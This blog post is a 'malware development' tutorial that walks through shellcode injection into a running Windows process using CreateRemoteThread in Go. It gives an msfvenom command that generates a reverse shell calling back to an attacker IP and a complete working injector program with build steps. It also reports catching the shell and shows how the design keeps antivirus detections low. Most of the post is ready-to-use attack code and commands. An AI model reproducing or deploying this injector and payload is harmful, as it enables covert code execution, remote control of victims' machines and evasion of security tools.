Waseem Akram

Malware Development 1 - CreateRemoteThread shellcode injection (Golang)

By Waseem Akram on 10/1/2024

Today we’re gonna see a simple malware development technique, Shellcode injection via CreateRemoteThread in Golang...

Malware Development 1 - CreateRemoteThread shellcode injection (Golang)

Introduction

Hello hackers!

Today we’re gonna see a simple malware development technique, Shellcode injection via CreateRemoteThread in Golang. The most complex malwares use different shellcode injection techniques to bypass common AV vendors as the shellcode is executed in memory.

Executing shellcode Let’s test this with a simple metasploit reverse shell, to generate it use msfvenom like this:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.116.146 LPORT=9999 -f raw -o shellcode.bin

In this post we’ll be using the raw format, however in future posts we’ll see how we can combine encryption/decryption functions to avoid static scanning and much more

As every Golang program we start defining the package name and which packages we want to import

package main
 
import (
  "os"
  "fmt"
  "log"
  "unsafe"
  "strconv"
  "io/ioutil"
 
  "golang.org/x/sys/windows"
)

To perform this technique we have to use some Windows API calls and to use them in Golang you must import them from their DLLs like this:

func main(){
  // Import dll
  kernel32 := windows.NewLazyDLL("kernel32.dll")
 
  // Import the function
  GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
 
  // Call the function
  GetCurrentProcess.Call()
}

This isn’t the only way to do this but it’s the most used and it’s easy to implement. Other option is using CGO to use C code

We also should have in mind that all the API calls return 3 values but we just will use the first and the third of them. Once we know how to access the Windows API in Golang we can continue.

The first step to inject shellcode is to get a handle to the desired process:

func main(){
  ...
 
  // Get function from kernel32.dll
  OpenProcess := kernel32.NewProc("OpenProcess")
 
  pid := 1042 // Process ID (change it)
  procHandle, _, _ := OpenProcess.Call(
    windows.PROCESS_ALL_ACCESS, // Access to the process
    uintptr(0), // FALSE
    uintptr(pid), // Process to open
  )
 
  if procHandle == 0 { // Handle error
    fmt.Println("An error has ocurred with OpenProcess!")
    os.Exit(0)
  }
}

Notice that you must have the right permissisons to get process handle

Now we allocate the memory buffer so then we can write our malicious bytes. To do this we use VirtualAllocEx

Note the “Ex” at the end of the function which means that it can allocate memory on remote processes

func main(){
  ...
 
  VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
 
  addr, _, _ := VirtualAllocEx.Call(
    uintptr(procHandle), // Process handle
    0,
    uintptr(len(shellcode)), // Shellcode length
    windows.MEM_COMMIT | windows.MEM_RESERVE,
    windows.PAGE_READWRITE, // memory permissions
  )
 
  if addr == 0 { // Handle error
    fmt.Println("An error has ocurred with VirtualAllocEx!")
    os.Exit(0)
  }
}

Then we use WriteProcessMemory call to write the shellcode into RW allocated process memory space

func main(){
  ...
 
  WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
 
  WriteProcessMemory.Call(
    uintptr(procHandle), // Process handle
    addr, // VirtualAllocEx return value
    (uintptr)(unsafe.Pointer(&shellcode[0])),
    uintptr(len(shellcode)), // Shellcode length
  )

At this point we use CreateRemoteThreadEx call to create a new thread in the especified process which will finally execute the shellcode:

func main(){
  ...
 
  CreateRemoteThreadEx := kernel32.NewProc("CreateRemoteThreadEx")
 
  CreateRemoteThreadEx.Call(
    uintptr(procHandle),
    0,
    0,
    addr,
    0,
    0,
    0,
  )
}

And finally we close the process handle using CloseHandle call:

...
 
func main(){
  CloseHandle := kernel32.NewProc("CloseHandle")
 
  _, _, err := CloseHandle.Call(procHandle)
  if err != nil {
    log.Fatal(err)
  }
}

Now we put all pieces together and add more output info to create a more readable program

package main
 
import (
  "os"
  "fmt"
  "log"
  "unsafe"
  "strconv"
  "io/ioutil"
 
  "golang.org/x/sys/windows"
)
 
func main(){
  pid := os.Args[1]
  shellcode_file := os.Args[2]
 
  fmt.Println("Process ID: " + pid)
  fmt.Println("Shellcode file: " + shellcode_file)
 
  // Convert CLI argument to int
  pid_int, _ := strconv.Atoi(pid)
 
  // Open given path
  f, err := os.Open(shellcode_file)
  if err != nil {
    log.Fatal(err)
  }
  defer f.Close()
 
  // Get content as bytes
  shellcode, err := ioutil.ReadAll(f)
  if err != nil {
    log.Fatal(err)
  }
 
  fmt.Println("Loading DLLs and functions...")
  kernel32 := windows.NewLazyDLL("kernel32.dll")
  OpenProcess := kernel32.NewProc("OpenProcess")
  VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
  WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
  CreateRemoteThreadEx := kernel32.NewProc("CreateRemoteThreadEx")
  CloseHandle := kernel32.NewProc("CloseHandle")
 
  fmt.Println("Calling OpenProcess...")
  procHandle, _, _ := OpenProcess.Call(
    uintptr(0x1F0FFF), // Access to the process (PROCESS_ALL_ACCESS)
    uintptr(0), // FALSE
    uintptr(pid_int), // Process to open
  )
 
  if procHandle == 0 {
    fmt.Println("An error has ocurred calling OpenProcess")
    os.Exit(0)
  }
 
  fmt.Println("Allocating memory with RWX permissions...")
  addr, _, _ := VirtualAllocEx.Call(
    uintptr(procHandle),
    0,
    uintptr(len(shellcode)),
    windows.MEM_COMMIT | windows.MEM_RESERVE,
    windows.PAGE_EXECUTE_READWRITE,
  )
 
  if (addr == 0) {
    fmt.Println("An error has ocurred on VirtualAllocEx!")
    os.Exit(0)
  }
 
  fmt.Println("Writing shellcode to buffer using WriteProcessMemory...")
  WriteProcessMemory.Call(
    uintptr(procHandle),
    addr,
    (uintptr)(unsafe.Pointer(&shellcode[0])),
    uintptr(len(shellcode)),
  )
 
  fmt.Println("Calling CreateRemoteThreadEx...")
  CreateRemoteThreadEx.Call(
    uintptr(procHandle),
    0,
    0,
    addr,
    0,
    0,
    0,
  )
 
  fmt.Println("Calling CloseHandle...")
  _, _, err = CloseHandle.Call(procHandle)
  if err != nil {
    log.Fatal(err)
  }
 
  fmt.Println("Shellcode should have been executed!")
}

This is the final result of the program. Now compile the program in your attacker machine:

Command for linux

GOARCH=amd64 GOOS=windows go build main.go

Command for windows

go build main.go

Now let’s see how it works!

Demo

And if I check my netcat listener…

Demo

As you can see I’ve catched the reverse shell and if you open the Process Explorer you will see that there is the notepad.exe process but no new process was created

Let’s upload the generated .exe to VirusTotal and antiscan.me to see the results (I use VirusTotal as it’s just for testing purposes, not for real malware because it gets burned out)

VirusTotalResult

As you can see 7/69 detections isn’t bad at all, but it occurs because the program receives the arguments via CLI so when VirusTotal analyze the file it just gives an error and exits, and the shellcode isn’t hardcoded on the source code so it really helps to bypass AVs

References

https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess
https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc
https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread

Conclusion

This technique is simple but really useful to see how we can leverage the Windows API to execute malicious code. In the following posts I’ll show you different techniques to bypass AVs and much more.

Source code here - GitHub repository with all the code from this post.

Thanks for reading this post, if you like my work you can support by Become a Patron!. Read other posts


Other Posts You Might Like

10/15/2024
·
Waseem Akram

Malware Development 3 - Persistence via Recycle Bin (Golang)

Today we’re gonna see an effective technique to mantain access in Windows systems during red team operations just by modifying a registry key...

Read More
10/14/2024
·
Waseem Akram

Malware Development 2 UuidFromString shellcode injection (Golang)

Today we’ll learn an advanced shellcode injection technique used by Lazarus group which uses UuidFromStringA API call. In this technique, the malware..

Read More
10/5/2024
·
Waseem Akram

How Hackers Target Instagram Accounts & How to Protect Yourself in 2024

Instahack is a security tool officially designed to test the password strength of Instagram accounts using termux and kali with a brute force attack...

Read More
9/30/2024
·
Waseem Akram

Malware Development How to call Windows API from Go

Today we'll see how we can use Golang internal functions from syscall and golang.org/x/sys/windows packages to call Windows API. Other languages like C o C++ are specifically

Read More
9/28/2024
·
Waseem Akram

Understanding the basename Command in Linux

The basename command in Linux is used to extract the last element of a file path. This is particularly helpful in bash scripts where you only need the...

Read More
3/1/2024
·
Waseem Akram

Bugbounty Resources and Tools

Bugbounty Resources to get started with bug bounty hunting and security research. Learn about the tools and resources that can help you...

Read More